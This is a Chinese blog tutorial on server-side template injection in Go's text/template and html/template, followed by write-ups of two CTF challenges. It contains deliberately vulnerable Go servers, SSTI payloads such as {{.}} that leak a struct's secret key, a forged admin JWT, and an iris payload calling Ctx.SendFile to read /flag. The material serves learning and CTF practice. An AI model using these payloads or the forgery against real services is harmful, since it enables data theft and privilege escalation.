• 浅学Go下的ssti


    前言

    作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题

    GO模板引擎

    Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序

    template简介

    template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子

    1. 模板内容 Hello, {{.Name}} Welcome to go web programming…
    2. 期待输出 Hello, liumiaocn Welcome to go web programming…

    而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示

    text/template

    1. package main
    2. import (
    3.     "net/http"
    4.     "text/template"
    5. )
    6. type User struct {
    7.     ID       int
    8.     Name  string
    9.     Email    string
    10.     Password string
    11. }
    12. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    13.     user := &User{1,"John""test@example.com""test123"}
    14.     r.ParseForm()
    15.     tpl := `

      Hi, {{ .Name }}


      Your Email is {{ .Email }}`
    16.     data := map[string]string{
    17.         "Name":  user.Name,
    18.         "Email": user.Email,
    19.     }
    20.     html := template.Must(template.New("login").Parse(tpl))
    21.     html.Execute(w, data)
    22. }
    23. func main() {
    24.     server := http.Server{
    25.         Addr: "127.0.0.1:8888",
    26.     }
    27.     http.HandleFunc("/string", StringTpl2Exam)
    28.     server.ListenAndServe()
    29. }

    struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下

    1. 模板内容 

      Hi, {{ .Name }}


      Your Email is {{ .Email }}
    2. 期待输出 

      Hi, John


      Your Email is test@example.com
    7a5e0dcb5dda7eaa0c2a8144f93cc288.png

    可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss

    1. package main
    2. import (
    3.     "net/http"
    4.     "text/template"
    5. )
    6. type User struct {
    7.     ID       int
    8.     Name  string
    9.     Email    string
    10.     Password string
    11. }
    12. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    13.     user := &User{1,"John""test@example.com""test123"}
    14.     r.ParseForm()
    15.     tpl := `

      Hi, {{""}}


      Your Email is {{ .Email }}`
    16.     data := map[string]string{
    17.         "Name":  user.Name,
    18.         "Email": user.Email,
    19.     }
    20.     html := template.Must(template.New("login").Parse(tpl))
    21.     html.Execute(w, data)
    22. }
    23. func main() {
    24.     server := http.Server{
    25.         Addr: "127.0.0.1:8888",
    26.     }
    27.     http.HandleFunc("/string", StringTpl2Exam)
    28.     server.ListenAndServe()
    29. }
    1. 模板内容 

      Hi, {{""}}


      Your Email is {{ .Email }}
    2. 期待输出 

      Hi, {{""}}


      Your Email is test@example.com
    3. 实际输出 弹出/xss/
    a36203b40424fb46dcae3732a04fcebc.png

    这里就是text/template和html/template的最大不同了

    html/template

    同样的例子,但是我们把导入的模板包变成html/template

    1. package main
    2. import (
    3.     "net/http"
    4.     "html/template"
    5. )
    6. type User struct {
    7.     ID       int
    8.     Name  string
    9.     Email    string
    10.     Password string
    11. }
    12. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    13.     user := &User{1,"John""test@example.com""test123"}
    14.     r.ParseForm()
    15.     tpl := `

      Hi, {{""}}


      Your Email is {{ .Email }}`
    16.     data := map[string]string{
    17.         "Name":  user.Name,
    18.         "Email": user.Email,
    19.     }
    20.     html := template.Must(template.New("login").Parse(tpl))
    21.     html.Execute(w, data)
    22. }
    23. func main() {
    24.     server := http.Server{
    25.         Addr: "127.0.0.1:8888",
    26.     }
    27.     http.HandleFunc("/string", StringTpl2Exam)
    28.     server.ListenAndServe()
    29. }
    7fb06932c941b2011c1faf081823bafe.png

    可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数

    而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果

    html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本

    template常用基本语法

    {{}}内的操作称之为pipeline

    1. {{.}} 表示当前对象,如user对象
    2. {{.FieldName}} 表示对象的某个字段
    3. {{range …}}{{end}} goforrange语法类似,循环
    4. {{with …}}{{end}} 当前对象的值,上下文
    5. {{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
    6. {{xxx | xxx}} 左边的输出作为右边的输入
    7. {{template "navbar"}} 引入子模版

    漏洞演示

    在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.

    在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self

    1. package main
    2. import (
    3.     "net/http"
    4.     "text/template"
    5. )
    6. type User struct {
    7.     ID       int
    8.     Name  string
    9.     Email    string
    10.     Password string
    11. }
    12. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    13.     user := &User{1,"John""test@example.com""test123"}
    14.     r.ParseForm()
    15.     tpl := `

      Hi, {{ .Name }}


      Your Email is {{ . }}`
    16.     data := map[string]string{
    17.         "Name":  user.Name,
    18.         "Email": user.Email,
    19.     }
    20.     html := template.Must(template.New("login").Parse(tpl))
    21.     html.Execute(w, data)
    22. }
    23. func main() {
    24.     server := http.Server{
    25.         Addr: "127.0.0.1:8888",
    26.     }
    27.     http.HandleFunc("/string", StringTpl2Exam)
    28.     server.ListenAndServe()
    29. }

    输出为

    1. 模板内容 

      Hi, {{ .Name }}


      Your Email is {{ . }}
    2. 期待输出 

      Hi, John


      Your Email is map[Email:test@example.com Name:John]

    可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI

    接下来就以几道题目来验证一下

    [LineCTF2022]gotm

    1. package main
    2. import (
    3.     "encoding/json"
    4.     "fmt"
    5.     "log"
    6.     "net/http"
    7.     "os"
    8.     "text/template"
    9.     "github.com/golang-jwt/jwt"
    10. )
    11. type Account struct {
    12.     id         string
    13.     pw         string
    14.     is_admin   bool
    15.     secret_key string
    16. }
    17. type AccountClaims struct {
    18.     Id       string `json:"id"`
    19.     Is_admin bool   `json:"is_admin"`
    20.     jwt.StandardClaims
    21. }
    22. type Resp struct {
    23.     Status bool   `json:"status"`
    24.     Msg    string `json:"msg"`
    25. }
    26. type TokenResp struct {
    27.     Status bool   `json:"status"`
    28.     Token  string `json:"token"`
    29. }
    30. var acc []Account
    31. var secret_key = os.Getenv("KEY")
    32. var flag = os.Getenv("FLAG")
    33. var admin_id = os.Getenv("ADMIN_ID")
    34. var admin_pw = os.Getenv("ADMIN_PW")
    35. func clear_account() {
    36.     acc = acc[:1]
    37. }
    38. func get_account(uid string) Account {
    39.     for i := range acc {
    40.         if acc[i].id == uid {
    41.             return acc[i]
    42.         }
    43.     }
    44.     return Account{}
    45. }
    46. func jwt_encode(id string, is_admin bool) (stringerror) {
    47.     claims := AccountClaims{
    48.         id, is_admin, jwt.StandardClaims{},
    49.     }
    50.     token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    51.     return token.SignedString([]byte(secret_key))
    52. }
    53. func jwt_decode(s string) (stringbool) {
    54.     token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
    55.         return []byte(secret_key), nil
    56.     })
    57.     if err != nil {
    58.         fmt.Println(err)
    59.         return ""false
    60.     }
    61.     if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
    62.         return claims.Id, claims.Is_admin
    63.     }
    64.     return ""false
    65. }
    66. func auth_handler(w http.ResponseWriter, r *http.Request) {
    67.     uid := r.FormValue("id")
    68.     upw := r.FormValue("pw")
    69.     if uid == "" || upw == "" {
    70.         return
    71.     }
    72.     if len(acc) > 1024 {
    73.         clear_account()
    74.     }
    75.     user_acc := get_account(uid)
    76.     if user_acc.id != "" && user_acc.pw == upw {
    77.         token, err := jwt_encode(user_acc.id, user_acc.is_admin)
    78.         if err != nil {
    79.             return
    80.         }
    81.         p := TokenResp{true, token}
    82.         res, err := json.Marshal(p)
    83.         if err != nil {
    84.         }
    85.         w.Write(res)
    86.         return
    87.     }
    88.     w.WriteHeader(http.StatusForbidden)
    89.     return
    90. }
    91. func regist_handler(w http.ResponseWriter, r *http.Request) {
    92.     uid := r.FormValue("id")
    93.     upw := r.FormValue("pw")
    94.     if uid == "" || upw == "" {
    95.         return
    96.     }
    97.     if get_account(uid).id != "" {
    98.         w.WriteHeader(http.StatusForbidden)
    99.         return
    100.     }
    101.     if len(acc) > 4 {
    102.         clear_account()
    103.     }
    104.     new_acc := Account{uid, upw, false, secret_key}
    105.     acc = append(acc, new_acc)
    106.     p := Resp{true""}
    107.     res, err := json.Marshal(p)
    108.     if err != nil {
    109.     }
    110.     w.Write(res)
    111.     return
    112. }
    113. func flag_handler(w http.ResponseWriter, r *http.Request) {
    114.     token := r.Header.Get("X-Token")
    115.     if token != "" {
    116.         id, is_admin := jwt_decode(token)
    117.         if is_admin == true {
    118.             p := Resp{true"Hi " + id + ", flag is " + flag}
    119.             res, err := json.Marshal(p)
    120.             if err != nil {
    121.             }
    122.             w.Write(res)
    123.             return
    124.         } else {
    125.             w.WriteHeader(http.StatusForbidden)
    126.             return
    127.         }
    128.     }
    129. }
    130. func root_handler(w http.ResponseWriter, r *http.Request) {
    131.     token := r.Header.Get("X-Token")
    132.     if token != "" {
    133.         id, _ := jwt_decode(token)
    134.         acc := get_account(id)
    135.         tpl, err := template.New("").Parse("Logged in as " + acc.id)
    136.         if err != nil {
    137.         }
    138.         tpl.Execute(w, &acc)
    139.     } else {
    140.         return
    141.     }
    142. }
    143. func main() {
    144.     admin := Account{admin_id, admin_pw, true, secret_key}
    145.     acc = append(acc, admin)
    146.     http.HandleFunc("/", root_handler)
    147.     http.HandleFunc("/auth", auth_handler)
    148.     http.HandleFunc("/flag", flag_handler)
    149.     http.HandleFunc("/regist", regist_handler)
    150.     log.Fatal(http.ListenAndServe("0.0.0.0:11000"nil))
    151. }

    我们先对几个路由和其对应的函数进行分析

    struct结构

    1. type Account struct {
    2.     id         string
    3.     pw         string
    4.     is_admin   bool
    5.     secret_key string
    6. }

    注册功能

    1. func regist_handler(w http.ResponseWriter, r *http.Request) {
    2.     uid := r.FormValue("id")
    3.     upw := r.FormValue("pw")
    4.     if uid == "" || upw == "" {
    5.         return
    6.     }
    7.     if get_account(uid).id != "" {
    8.         w.WriteHeader(http.StatusForbidden)
    9.         return
    10.     }
    11.     if len(acc) > 4 {
    12.         clear_account()
    13.     }
    14.     new_acc := Account{uid, upw, false, secret_key} //创建新用户
    15.     acc = append(acc, new_acc)
    16.     p := Resp{true""}
    17.     res, err := json.Marshal(p)
    18.     if err != nil {
    19.     }
    20.     w.Write(res)
    21.     return
    22. }

    登录功能

    1. func auth_handler(w http.ResponseWriter, r *http.Request) {
    2.     uid := r.FormValue("id")
    3.     upw := r.FormValue("pw")
    4.     if uid == "" || upw == "" {
    5.         return
    6.     }
    7.     if len(acc) > 1024 {
    8.         clear_account()
    9.     }
    10.     user_acc := get_account(uid)
    11.     if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw
    12.         token, err := jwt_encode(user_acc.id, user_acc.is_admin)
    13.         if err != nil {
    14.             return
    15.         }
    16.         p := TokenResp{true, token}     //返回token
    17.         res, err := json.Marshal(p)
    18.         if err != nil {
    19.         }
    20.         w.Write(res)
    21.         return
    22.     }
    23.     w.WriteHeader(http.StatusForbidden)
    24.     return
    25. }

    认证功能

    1. func root_handler(w http.ResponseWriter, r *http.Request) {
    2.     token := r.Header.Get("X-Token")
    3.     if token != "" {    //根据token解出id,根据uid取出对应account
    4.         id, _ := jwt_decode(token)
    5.         acc := get_account(id)
    6.         tpl, err := template.New("").Parse("Logged in as " + acc.id)
    7.         if err != nil {
    8.         }
    9.         tpl.Execute(w, &acc)
    10.     } else {
    11.         return
    12.     }
    13. }

    得到account

    1. func get_account(uid string) Account {
    2.     for i := range acc {
    3.         if acc[i].id == uid {
    4.             return acc[i]
    5.         }
    6.     }
    7.     return Account{}
    8. }

    flag路由

    1. func flag_handler(w http.ResponseWriter, r *http.Request) {
    2.     token := r.Header.Get("X-Token")
    3.     if token != "" {
    4.         id, is_admin := jwt_decode(token)
    5.         if is_admin == true {   //将is_admin修改为true即可得到flag
    6.             p := Resp{true"Hi " + id + ", flag is " + flag}
    7.             res, err := json.Marshal(p)
    8.             if err != nil {
    9.             }
    10.             w.Write(res)
    11.             return
    12.         } else {
    13.             w.WriteHeader(http.StatusForbidden)
    14.             return
    15.         }
    16.     }
    17. }

    所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag

    而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容

    /regist?id={{.}}&pw=123
    6f57c0158a56e908fb27a257fcac606b.png
    /auth?id={{.}}&pw=123
    {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
    a06fbd6c2ff068332ed6dec7a009b51d.png

    带上token重新访问

    Logged in as {{{.}} 123 false this_is_f4Ke_key}
    a06d4a690595a3d592549218f704ef1d.png

    得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
    18cf94258f58b698745e9b93d987c9ba.png

    带上token访问/flag

    baac256cc35b574d0ca7beed98321f25.png

    [WeCTF2022]request-bin

    洁白一片,使用{{.}}进行检测

    54f191144209523baa6bf35bc2727a4a.png

    这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti

    我们需要的是进行文件的读取,所以我们需要看看irisaccesslog库的模板注入如何利用

    在Accesslog的结构体中可以发现

    1. type Log struct {
    2.     // The AccessLog instance this Log was created of.
    3.     Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
    4.     // The time the log is created.
    5.     Now time.Time `json:"-" yaml:"-" toml:"-"`
    6.     // TimeFormat selected to print the Time as string,
    7.     // useful on Template Formatter.
    8.     TimeFormat string `json:"-" yaml:"-" toml:"-"`
    9.     // Timestamp the Now's unix timestamp (milliseconds).
    10.     Timestamp int64 `json:"timestamp" csv:"timestamp"`
    11.     // Request-Response latency.
    12.     Latency time.Duration `json:"latency" csv:"latency"`
    13.     // The response status code.
    14.     Code int `json:"code" csv:"code"`
    15.     // Init request's Method and Path.
    16.     Method string `json:"method" csv:"method"`
    17.     Path   string `json:"path" csv:"path"`
    18.     // The Remote Address.
    19.     IP string `json:"ip,omitempty" csv:"ip,omitempty"`
    20.     // Sorted URL Query arguments.
    21.     Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
    22.     // Dynamic path parameters.
    23.     PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
    24.     // Fields any data information useful to represent this Log.
    25.     Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
    26.     // The Request and Response raw bodies.
    27.     // If they are escaped (e.g. JSON),
    28.     // A third-party software can read it through:
    29.     // data, _ := strconv.Unquote(log.Request)
    30.     // err := json.Unmarshal([]byte(data), &customStruct)
    31.     Request  string `json:"request,omitempty" csv:"request,omitempty"`
    32.     Response string `json:"response,omitempty" csv:"response,omitempty"`
    33.     //  The actual number of bytes received and sent on the network (headers + body or body only).
    34.     BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
    35.     BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
    36.     // A copy of the Request's Context when Async is true (safe to use concurrently),
    37.     // otherwise it's the current Context (not safe for concurrent access).
    38.     Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
    39. }

    这里我们经过审查,会发现context里面存在SendFile进行文件强制下载

    1a21bba0d98ff647a3667a3dde38cdef.png

    所以我们可以构造payload如下

    {{ .Ctx.SendFile "/flag" "1.txt"}}
    ba2fa7ac4c7001bcb34b91335b66bf66.png

    后言

    golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制

    参考

    • • https://docs.iris-go.com/iris/file-server/context-file-server

    • • https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html

    • • https://www.onsecurity.io/blog/go-ssti-method-research/

    原创稿件征集

    征集原创技术文章中,欢迎投递

    投稿邮箱:edu@antvsion.com

    文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

    通过审核并发布能收获200-800元不等的稿酬。

    更多详情,点我查看!

    75ab49ec7248ec5e538a5261a891efe1.gif

    靶场实操,戳“阅读原文“

  • 相关阅读:
    51单片机自行车码表 速度里程计霍尔测速模拟电机设计
    从0开始安装k8s1.25【最新k8s版本——20220904】
    【g2o】g2o学习笔记 BA相关
    iNFTnews | 迪士尼如何布局Web3
    (附源码)计算机毕业设计SSM基于框架的临时摊位管理系统
    Nacos安装
    LeetCode(力扣)17. 电话号码的字母组合Python
    C++ 函数修改指针指向__fun(int *&pointer)
    Web Storage是什么?Web Storage详解
    Spring Boot Admin 介绍及使用
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/128030222